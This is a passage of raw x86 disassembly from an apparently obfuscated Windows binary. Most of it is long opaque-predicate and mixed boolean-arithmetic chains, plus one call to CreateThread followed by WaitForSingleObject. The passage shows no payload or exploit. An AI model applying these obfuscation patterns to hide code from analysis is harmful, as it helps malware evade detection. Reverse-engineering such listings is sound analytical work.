mov al, byte [ebp - 0x24c]
or al, bh
mov bh, byte [ebp - 0x24d]
or bh, ch
xor al, bh
mov ch, byte [ebp - 0x24b]
or ch, dh
xor ch, 0xff
or bl, 0
and ch, bl
or al, ch
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
and ah, dh
mov bl, al
xor bl, 0xff
and bl, 0xff
and al, dh
or ch, ah
or bl, al
xor ch, bl
mov al, byte [ebp - 0x228]
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, dl
xor ah, 1
mov dh, byte [ebp - 0x228]
and dh, ah
mov ah, byte [ebp - 0x228]
xor ah, 0xff
and ah, 1
or dh, ah
mov ah, al
and ah, dh
xor al, dh
or ah, al
mov al, ah
xor al, 0xff
and al, 0
mov dh, dl
xor dh, 0
and ah, dh
mov bl, dl
xor bl, 1
and bl, 0
and dh, 1
or al, ah
or bl, dh
xor al, bl
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bl, ch
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, dh
or ah, bl
or bh, al
xor ah, bh
xor ah, 0xff
xor ch, 0xff
mov al, dl
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
xor dl, 0
or al, ch
or dl, 0
xor al, 0xff
and al, dl
mov dl, cl
xor dl, 0xff
mov ch, ah
and ch, dl
xor ah, 0xff
and cl, ah
or ch, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
test cl, 1
mov esi, dword [ebp - 0x214]
mov edi, dword [ebp - 0x220]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x477f7c
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [ebp - 0x254], eax
call sub.KERNEL32.dll_CreateThread
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
mov dword [ebp - 0x258], ecx
call sub.KERNEL32.dll_WaitForSingleObject
mov ecx, 0x223ee6e9
mov edx, 0xd01f2cdd
mov bl, 1
xor esi, esi
mov edi, dword [0x4ac094]
mov dword [ebp - 0x25c], eax
mov eax, dword [0x4ac098]
mov dword [ebp - 0x260], eax
mov eax, esi
sub eax, 0x4cc3d087
sub eax, 0xfda0bd13
add eax, 0x4cc3d087
mov dword [ebp - 0x264], eax
mov eax, edi
add eax, 0x493bf0e7
mov dword [ebp - 0x268], ecx
mov ecx, dword [ebp - 0x264]
add eax, ecx
sub eax, 0x493bf0e7
sub eax, 0xaefeb170
add eax, 0xc1203ca6
add eax, 0xaefeb170
add eax, 0x6a6b3a0d
sub eax, 1
sub eax, 0x6a6b3a0d
sub eax, 0x41a7972a
sub eax, 0xc1203ca6
add eax, 0x41a7972a
mov ecx, esi
sub ecx, 0xec328ccb
sub eax, ecx
sub esi, 0xfda0bd13
sub eax, esi
sub eax, 0xd1e021b5
sub eax, 0xec328ccb
add eax, 0xd1e021b5
imul edi, eax
and edi, 1
cmp edi, 0
sete bh
mov eax, dword [ebp - 0x260]
cmp eax, 0xa
setl al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, bh
and ch, cl
or ah, ch
mov cl, bl
xor cl, 1
xor ah, 0xff
mov ch, bl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, bl
xor ah, 1
and ah, 1
mov ch, bl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
mov ch, bh
xor ch, ah
and ch, bh
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x269], al
and al, ch
or cl, al
mov al, bl
xor al, 1
xor cl, 0xff
mov ch, bl
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
mov cl, bl
xor cl, 1
and cl, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x26a], al
mov al, ch
and al, 1
mov byte [ebp - 0x26b], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x26c], al
mov al, byte [ebp - 0x26b]
or cl, al
mov al, byte [ebp - 0x26c]
or al, ch
xor cl, al
xor cl, 0xff
mov al, byte [ebp - 0x269]
xor al, cl
mov cl, byte [ebp - 0x269]
and al, cl
mov ch, byte [ebp - 0x26a]
xor ch, 0xff
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x26d], al
mov al, bl
xor al, 1
mov byte [ebp - 0x26e], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x26f], al
mov al, byte [ebp - 0x26a]
mov byte [ebp - 0x270], cl
mov cl, byte [ebp - 0x26e]
and al, cl
mov cl, byte [ebp - 0x270]
and cl, 0xff
mov byte [ebp - 0x271], al
mov al, byte [ebp - 0x26d]
mov byte [ebp - 0x272], cl
mov cl, byte [ebp - 0x26e]
and al, cl
mov cl, byte [ebp - 0x26f]
mov byte [ebp - 0x273], al
mov al, byte [ebp - 0x271]
or cl, al
mov al, byte [ebp - 0x272]
mov byte [ebp - 0x274], cl
mov cl, byte [ebp - 0x273]
or al, cl
mov cl, byte [ebp - 0x274]
xor cl, al
mov al, byte [ebp - 0x270]
or ch, al
xor ch, 0xff
mov al, byte [ebp - 0x26e]
or al, 1
and ch, al
or cl, ch
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
and ch, 1
or al, ch
mov ch, bl
xor ch, 1
xor al, 0xff
mov byte [ebp - 0x275], al
mov al, bl
xor al, 1
mov byte [ebp - 0x276], al
mov al, byte [ebp - 0x275]
or ch, al
mov al, byte [ebp - 0x276]
or al, 1
xor ch, 0xff
and ch, al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x277], al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x278], al
mov al, byte [ebp - 0x277]
mov byte [ebp - 0x279], cl
mov cl, byte [ebp - 0x278]
or al, cl
mov cl, bl
xor cl, 1
xor al, 0xff
mov byte [ebp - 0x27a], al
mov al, bl
xor al, 1
mov byte [ebp - 0x27b], al
mov al, byte [ebp - 0x27a]
or cl, al
mov al, byte [ebp - 0x27b]
or al, 1
xor cl, 0xff
and cl, al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x27c], al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x27d], al
mov al, bl
xor al, 1
mov byte [ebp - 0x27e], al
mov al, byte [ebp - 0x27c]
and al, 0xff
mov byte [ebp - 0x27f], al
mov al, byte [ebp - 0x27e]
and ch, al
mov al, byte [ebp - 0x27d]
and al, 0xff
mov byte [ebp - 0x280], al
mov al, byte [ebp - 0x27e]
and cl, al
mov al, byte [ebp - 0x27f]
or al, ch
mov ch, byte [ebp - 0x280]
or ch, cl
xor al, ch
mov cl, byte [ebp - 0x27c]
mov ch, byte [ebp - 0x27d]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x27e]
or ch, 1
and cl, ch
or al, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x281], al
mov al, ah
and al, ch
mov byte [ebp - 0x282], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x283], al
mov al, byte [ebp - 0x282]
or cl, al
mov al, byte [ebp - 0x283]
or al, ch
xor cl, al
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
and ch, 1
or al, ch
mov ch, bl
xor ch, 0
and ch, 0
mov byte [ebp - 0x284], al
mov al, bl
xor al, 0
mov byte [ebp - 0x285], al
and al, 0
mov byte [ebp - 0x286], al
mov al, bl
xor al, 1
and al, 0
mov byte [ebp - 0x287], al
mov al, byte [ebp - 0x285]
and al, 1
mov byte [ebp - 0x288], al
mov al, byte [ebp - 0x286]
or ch, al
mov al, byte [ebp - 0x287]
mov byte [ebp - 0x289], cl
mov cl, byte [ebp - 0x288]
or al, cl
xor ch, al
mov al, byte [ebp - 0x289]
mov cl, byte [ebp - 0x284]
and al, cl
mov cl, byte [ebp - 0x289]
mov byte [ebp - 0x28a], al
mov al, byte [ebp - 0x284]
xor cl, al
mov al, byte [ebp - 0x28a]
or al, cl
mov cl, bl
xor cl, 0
mov byte [ebp - 0x28b], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x28c], al
mov al, bl
xor al, 0
mov byte [ebp - 0x28d], al
mov al, cl
and al, 0
mov byte [ebp - 0x28e], al
mov al, byte [ebp - 0x28d]
and al, 0
mov byte [ebp - 0x28f], al
mov al, byte [ebp - 0x28c]
and al, 0
mov byte [ebp - 0x290], al
mov al, byte [ebp - 0x28d]
and ch, al
mov al, byte [ebp - 0x28e]
mov byte [ebp - 0x291], cl
mov cl, byte [ebp - 0x28f]
or al, cl
mov cl, byte [ebp - 0x290]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x291]
mov ch, byte [ebp - 0x28c]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x28d]
or ch, 0
and cl, ch
or al, cl
mov cl, byte [ebp - 0x28b]
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x292], al
mov al, byte [ebp - 0x28b]
and al, ch
mov byte [ebp - 0x293], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x294], al
mov al, byte [ebp - 0x293]
or cl, al
mov al, byte [ebp - 0x294]
or al, ch
xor cl, al
mov al, byte [ebp - 0x292]
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, bh
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
and bh, cl
or al, bh
mov cl, byte [ebp - 0x281]
xor cl, 0xff
and cl, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x295], al
mov al, byte [ebp - 0x281]
and al, bh
mov byte [ebp - 0x296], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x297], al
mov al, byte [ebp - 0x296]
or cl, al
mov al, byte [ebp - 0x297]
or al, bh
xor cl, al
mov al, bl
xor al, 1
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x298], al
mov al, bh
and al, 1
mov byte [ebp - 0x299], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x29a], al
mov al, byte [ebp - 0x298]
mov byte [ebp - 0x29b], cl
mov cl, byte [ebp - 0x299]
or al, cl
mov cl, byte [ebp - 0x29a]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x295]
xor cl, 0xff
mov bh, byte [ebp - 0x29b]
xor bh, 0xff
mov byte [ebp - 0x29c], al
mov al, bl
xor al, 1
mov byte [ebp - 0x29d], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x29e], al
mov al, byte [ebp - 0x295]
mov byte [ebp - 0x29f], cl
mov cl, byte [ebp - 0x29d]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x2a0], al
mov al, byte [ebp - 0x29b]
mov byte [ebp - 0x2a1], cl
mov cl, byte [ebp - 0x29d]
and al, cl
mov cl, byte [ebp - 0x29e]
mov byte [ebp - 0x2a2], al
mov al, byte [ebp - 0x2a0]
or cl, al
mov al, byte [ebp - 0x2a1]
mov byte [ebp - 0x2a3], cl
mov cl, byte [ebp - 0x2a2]
or al, cl
mov cl, byte [ebp - 0x2a3]
xor cl, al
mov al, byte [ebp - 0x29f]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x29d]
or bh, 1
and al, bh
or cl, al
mov al, bl
xor al, 1
mov bh, byte [ebp - 0x29c]
xor bh, 0xff
mov byte [ebp - 0x2a4], al
mov al, bl
xor al, 0
mov byte [ebp - 0x2a5], al
mov al, byte [ebp - 0x2a4]
and al, 0
mov byte [ebp - 0x2a6], al
mov al, byte [ebp - 0x2a5]
and al, 1
mov byte [ebp - 0x2a7], al
mov al, bh
and al, 0
mov byte [ebp - 0x2a8], al
mov al, byte [ebp - 0x29c]
mov byte [ebp - 0x2a9], cl
mov cl, byte [ebp - 0x2a5]
and al, cl
mov cl, byte [ebp - 0x2a6]
mov byte [ebp - 0x2aa], al
mov al, byte [ebp - 0x2a7]
or cl, al
mov al, byte [ebp - 0x2a8]
mov byte [ebp - 0x2ab], cl
mov cl, byte [ebp - 0x2aa]
or al, cl
mov cl, byte [ebp - 0x2ab]
xor cl, al
mov al, byte [ebp - 0x2a4]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x2a5]
or bh, 0
and al, bh
or cl, al
mov al, byte [ebp - 0x2a9]
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x2ac], al
mov al, byte [ebp - 0x2a9]
and al, bh
mov bh, byte [ebp - 0x2ac]
or bh, al
xor cl, 0xff
mov al, bh
xor al, cl
and al, bh
mov cl, byte [ebp - 0x279]
xor cl, 0xff
and cl, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x2ad], al
mov al, byte [ebp - 0x279]
and al, bh
mov byte [ebp - 0x2ae], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2af], al
mov al, byte [ebp - 0x2ae]
or cl, al
mov al, byte [ebp - 0x2af]
or al, bh
xor cl, al
mov al, bl
xor al, 1
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x2b0], al
mov al, bh
and al, 1
mov byte [ebp - 0x2b1], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x2b2], al
mov al, byte [ebp - 0x2b0]
mov byte [ebp - 0x2b3], cl
mov cl, byte [ebp - 0x2b1]
or al, cl
mov cl, byte [ebp - 0x2b2]
or cl, bh
xor al, cl
mov cl, bl
xor cl, 1
and cl, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x2b4], al
mov al, bh
and al, 1
mov byte [ebp - 0x2b5], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x2b6], al
mov al, byte [ebp - 0x2b5]
or cl, al
mov al, byte [ebp - 0x2b6]
or al, bh
xor cl, al
mov al, byte [ebp - 0x2b3]
mov bh, byte [ebp - 0x2b4]
and al, bh
mov bh, byte [ebp - 0x2b3]
mov byte [ebp - 0x2b7], al
mov al, byte [ebp - 0x2b4]
xor bh, al
mov al, byte [ebp - 0x2b7]
or al, bh
mov bh, bl
xor bh, 1
mov byte [ebp - 0x2b8], al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x2b9], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2ba], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x2bb], al
mov al, byte [ebp - 0x2ba]
and al, 1
mov byte [ebp - 0x2bc], al
mov al, byte [ebp - 0x2b9]
and al, 0xff
mov byte [ebp - 0x2bd], al
mov al, byte [ebp - 0x2ba]
and cl, al
mov al, byte [ebp - 0x2bb]
mov byte [ebp - 0x2be], cl
mov cl, byte [ebp - 0x2bc]
or al, cl
mov cl, byte [ebp - 0x2bd]
mov byte [ebp - 0x2bf], al
mov al, byte [ebp - 0x2be]
or cl, al
mov al, byte [ebp - 0x2bf]
xor al, cl
mov cl, byte [ebp - 0x2b9]
or bh, cl
xor bh, 0xff
mov cl, byte [ebp - 0x2ba]
or cl, 1
and bh, cl
or al, bh
mov cl, byte [ebp - 0x2b8]
xor cl, 0xff
and cl, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x2c0], al
mov al, byte [ebp - 0x2b8]
and al, bh
mov byte [ebp - 0x2c1], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2c2], al
mov al, byte [ebp - 0x2c1]
or cl, al
mov al, byte [ebp - 0x2c2]
or al, bh
xor cl, al
xor cl, 0xff
mov al, byte [ebp - 0x2c0]
xor al, 0xff
mov bh, bl
xor bh, 1
or cl, al
or bh, 1
xor cl, 0xff
and cl, bh
mov al, byte [ebp - 0x269]
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x2c3], al
mov al, byte [ebp - 0x269]
and al, bh
mov bh, byte [ebp - 0x2c3]
or bh, al
mov al, byte [ebp - 0x281]
xor al, 0xff
and al, 1
mov byte [ebp - 0x2c4], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2c5], al
mov al, byte [ebp - 0x281]
mov byte [ebp - 0x2c6], cl
mov cl, byte [ebp - 0x2c5]
and al, cl
mov cl, byte [ebp - 0x2c4]
or cl, al
mov al, bl
xor al, 0
and al, 1
mov byte [ebp - 0x2c7], al
mov al, bl
xor al, 1
and al, 0
mov byte [ebp - 0x2c8], al
mov al, byte [ebp - 0x2c7]
mov byte [ebp - 0x2c9], cl
mov cl, byte [ebp - 0x2c8]
or al, cl
mov cl, bh
mov byte [ebp - 0x2ca], al
mov al, byte [ebp - 0x2c9]
and cl, al
xor bh, al
or cl, bh
mov bh, byte [ebp - 0x2ca]
and bh, 0
mov al, byte [ebp - 0x2ca]
xor al, 0
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x2cb], al
mov al, bl
xor al, 1
and cl, al
mov al, byte [ebp - 0x2cb]
or al, cl
xor bh, 0xff
mov cl, al
xor cl, bh
and cl, al
mov al, ch
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x2cc], al
mov al, ch
and al, bh
mov byte [ebp - 0x2cd], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x2ce], al
mov al, byte [ebp - 0x2cc]
mov byte [ebp - 0x2cf], cl
mov cl, byte [ebp - 0x2cd]
or al, cl
mov cl, byte [ebp - 0x2ce]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x2ad]
xor cl, 0xff
and cl, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x2d0], al
mov al, byte [ebp - 0x2ad]
and al, bh
or cl, al
mov al, bl
xor al, 1
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x2d1], al
mov al, bh
and al, 1
mov byte [ebp - 0x2d2], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x2d3], al
mov al, byte [ebp - 0x2d1]
mov byte [ebp - 0x2d4], cl
mov cl, byte [ebp - 0x2d2]
or al, cl
mov cl, byte [ebp - 0x2d3]
or cl, bh
xor al, cl
mov cl, bl
xor cl, 1
mov bh, byte [ebp - 0x2d0]
xor bh, cl
mov cl, byte [ebp - 0x2d0]
and bh, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x2d5], al
mov al, ch
xor al, cl
and al, ch
mov cl, bl
xor cl, 1
mov ch, byte [ebp - 0x2d4]
xor ch, cl
mov cl, byte [ebp - 0x2d4]
and ch, cl
mov cl, byte [ebp - 0x2ad]
xor cl, 0xff
mov byte [ebp - 0x2d6], al
mov al, byte [ebp - 0x2d5]
xor al, 0xff
mov byte [ebp - 0x2d7], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2d8], al
mov al, byte [ebp - 0x2d7]
or cl, al
mov al, byte [ebp - 0x2d8]
or al, 1
xor cl, 0xff
and cl, al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x2d9], al
mov al, byte [ebp - 0x2d6]
xor al, 0xff
mov byte [ebp - 0x2da], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2db], al
mov al, byte [ebp - 0x2d9]
and al, 0xff
mov byte [ebp - 0x2dc], al
mov al, byte [ebp - 0x2db]
and bh, al
mov al, byte [ebp - 0x2da]
and al, 0xff
mov byte [ebp - 0x2dd], al
mov al, byte [ebp - 0x2d6]
mov byte [ebp - 0x2de], cl
mov cl, byte [ebp - 0x2db]
and al, cl
mov cl, byte [ebp - 0x2dc]
or cl, bh
mov bh, byte [ebp - 0x2dd]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x2d9]
mov bh, byte [ebp - 0x2da]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x2db]
or bh, 1
and al, bh
or cl, al
mov al, ch
xor al, 0xff
mov bh, byte [ebp - 0x2de]
xor bh, 0xff
mov byte [ebp - 0x2df], al
mov al, bl
xor al, 0
mov byte [ebp - 0x2e0], al
mov al, byte [ebp - 0x2df]
and al, 0
mov byte [ebp - 0x2e1], al
mov al, byte [ebp - 0x2e0]
and ch, al
mov al, bh
and al, 0
mov byte [ebp - 0x2e2], al
mov al, byte [ebp - 0x2de]
mov byte [ebp - 0x2e3], cl
mov cl, byte [ebp - 0x2e0]
and al, cl
mov cl, byte [ebp - 0x2e1]
or cl, ch
mov ch, byte [ebp - 0x2e2]
or ch, al
xor cl, ch
mov al, byte [ebp - 0x2df]
or al, bh
xor al, 0xff
mov ch, byte [ebp - 0x2e0]
or ch, 0
and al, ch
or cl, al
mov al, byte [ebp - 0x2e3]
xor al, 0xff
mov ch, cl
and ch, al
xor cl, 0xff
mov al, byte [ebp - 0x2e3]
and al, cl
or ch, al
mov al, byte [ebp - 0x2d0]
mov cl, byte [ebp - 0x2d4]
and al, cl
mov bh, byte [ebp - 0x2d0]
xor bh, cl
or al, bh
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, bl
xor cl, 1
and al, cl
or bh, al
mov al, byte [ebp - 0x2d5]
and al, 1
mov cl, byte [ebp - 0x2d5]
xor cl, 1
or al, cl
xor al, 0xff
mov cl, bh
xor cl, al
and cl, bh
mov al, ch
xor al, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x2e4], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2e5], al
mov al, byte [ebp - 0x2e4]
and al, 0xff
mov byte [ebp - 0x2e6], al
mov al, byte [ebp - 0x2e5]
and ch, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e5]
and cl, al
mov al, byte [ebp - 0x2e6]
or al, ch
mov ch, byte [ebp - 0x2e7]
or ch, cl
xor al, ch
mov cl, byte [ebp - 0x2e4]
or cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x2e5]
or ch, 1
and cl, ch
or al, cl
mov cl, byte [ebp - 0x2c6]
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x2c6]
and bh, ch
or cl, bh
mov ch, byte [ebp - 0x2cf]
xor ch, 0xff
and ch, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x2e8], al
mov al, byte [ebp - 0x2cf]
and al, bh
mov byte [ebp - 0x2e9], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2ea], al
mov al, byte [ebp - 0x2e9]
or ch, al
mov al, byte [ebp - 0x2ea]
or al, bh
xor ch, al
mov al, bl
xor al, 0
and al, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x2eb], al
mov al, bh
and al, 0
mov byte [ebp - 0x2ec], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2ed], al
mov al, byte [ebp - 0x2eb]
mov byte [ebp - 0x2ee], cl
mov cl, byte [ebp - 0x2ec]
or al, cl
mov cl, byte [ebp - 0x2ed]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x2ee]
xor cl, 0xff
mov bh, bl
xor bh, 0
mov byte [ebp - 0x2ef], al
mov al, bl
xor al, 0
or cl, bh
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x2c6]
xor al, 0xff
mov bh, byte [ebp - 0x2ef]
xor bh, 0xff
mov byte [ebp - 0x2f0], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2f1], al
mov al, byte [ebp - 0x2f0]
or al, bh
mov bh, byte [ebp - 0x2f1]
or bh, 1
xor al, 0xff
and al, bh
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x2f2], al
mov al, bl
xor al, 0
mov byte [ebp - 0x2f3], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2f4], al
mov al, byte [ebp - 0x2f3]
or bh, al
mov al, byte [ebp - 0x2f4]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x2cf]
xor al, 0xff
mov byte [ebp - 0x2f5], al
mov al, byte [ebp - 0x2ef]
xor al, 0xff
mov byte [ebp - 0x2f6], al
mov al, bl
xor al, 0
mov byte [ebp - 0x2f7], al
mov al, byte [ebp - 0x2f5]
mov byte [ebp - 0x2f8], cl
mov cl, byte [ebp - 0x2f6]
or al, cl
mov cl, byte [ebp - 0x2f7]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x2f8]
xor cl, 0xff
mov byte [ebp - 0x2f9], al
mov al, byte [ebp - 0x2f2]
xor al, 0xff
mov byte [ebp - 0x2fa], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2fb], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x2fc], al
mov al, byte [ebp - 0x2f8]
mov byte [ebp - 0x2fd], cl
mov cl, byte [ebp - 0x2fb]
and al, cl
mov cl, byte [ebp - 0x2fa]
and cl, 0xff
mov byte [ebp - 0x2fe], al
mov al, byte [ebp - 0x2f2]
mov byte [ebp - 0x2ff], cl
mov cl, byte [ebp - 0x2fb]
and al, cl
mov cl, byte [ebp - 0x2fc]
mov byte [ebp - 0x300], al
mov al, byte [ebp - 0x2fe]
or cl, al
mov al, byte [ebp - 0x2ff]
mov byte [ebp - 0x301], cl
mov cl, byte [ebp - 0x300]
or al, cl
mov cl, byte [ebp - 0x301]
xor cl, al
mov al, byte [ebp - 0x2fd]
mov byte [ebp - 0x302], cl
mov cl, byte [ebp - 0x2fa]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x2fb]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x302]
or cl, al
mov al, bh
mov byte [ebp - 0x303], cl
mov cl, byte [ebp - 0x2f9]
and al, cl
xor bh, cl
or al, bh
mov bh, byte [ebp - 0x303]
xor bh, 0xff
and bh, 0
mov cl, bl
xor cl, 0
mov byte [ebp - 0x304], al
mov al, byte [ebp - 0x303]
and al, cl
mov byte [ebp - 0x305], al
mov al, byte [ebp - 0x304]
xor al, 0xff
and al, 0
mov byte [ebp - 0x306], al
mov al, byte [ebp - 0x304]
and al, cl
mov cl, byte [ebp - 0x305]
or bh, cl
mov cl, byte [ebp - 0x306]
or cl, al
xor bh, cl
mov al, byte [ebp - 0x2ee]
and al, ch
mov cl, byte [ebp - 0x2ee]
xor cl, ch
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, bl
xor ch, 0
and al, ch
mov byte [ebp - 0x307], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x308], al
mov al, byte [ebp - 0x307]
or cl, al
mov al, byte [ebp - 0x308]
or al, ch
xor cl, al
mov al, byte [ebp - 0x2ef]
and al, 0
mov ch, byte [ebp - 0x2ef]
xor ch, 0
or al, ch
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, bh
and al, ch
xor bh, ch
or al, bh
mov cl, byte [ebp - 0x2e8]
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x2e8]
and bh, ch
or cl, bh
mov ch, al
xor ch, 0xff
xor cl, 0xff
mov bh, bl
xor bh, 0
or ch, cl
or bh, 0
xor ch, 0xff
and ch, bh
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, bl
xor bh, 1
and al, bh
or cl, al
mov al, byte [ebp - 0x2e8]
xor al, 0xff
xor cl, 0xff
mov bh, bl
xor bh, 1
or al, cl
or bh, 1
xor al, 0xff
and al, bh
mov cl, ch
and cl, al
xor ch, al
or cl, ch
mov al, ah
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov bh, ah
and bh, ch
or al, bh
mov ch, byte [ebp - 0x279]
xor ch, 0xff
and ch, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x309], al
mov al, byte [ebp - 0x279]
and al, bh
mov byte [ebp - 0x30a], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x30b], al
mov al, byte [ebp - 0x30a]
or ch, al
mov al, byte [ebp - 0x30b]
or al, bh
xor ch, al
mov al, bl
xor al, 0
and al, 1
mov bh, bl
xor bh, 1
and bh, 0
or al, bh
mov bh, byte [ebp - 0x309]
xor bh, 0xff
mov byte [ebp - 0x30c], al
mov al, bl
xor al, 0
mov byte [ebp - 0x30d], al
mov al, bl
xor al, 0
mov byte [ebp - 0x30e], al
mov al, byte [ebp - 0x30d]
or bh, al
mov al, byte [ebp - 0x30e]
or al, 0
xor bh, 0xff
and bh, al
xor ah, 0xff
mov al, byte [ebp - 0x30c]
xor al, 0xff
mov byte [ebp - 0x30f], al
mov al, bl
xor al, 0
mov byte [ebp - 0x310], al
mov al, byte [ebp - 0x30f]
or ah, al
mov al, byte [ebp - 0x310]
or al, 0
xor ah, 0xff
and ah, al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x311], al
mov al, bl
xor al, 0
mov byte [ebp - 0x312], al
mov al, bl
xor al, 0
mov byte [ebp - 0x313], al
mov al, byte [ebp - 0x311]
mov byte [ebp - 0x314], cl
mov cl, byte [ebp - 0x312]
or al, cl
mov cl, byte [ebp - 0x313]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x279]
xor cl, 0xff
mov byte [ebp - 0x315], al
mov al, byte [ebp - 0x30c]
xor al, 0xff
mov byte [ebp - 0x316], al
mov al, bl
xor al, 0
mov byte [ebp - 0x317], al
mov al, byte [ebp - 0x316]
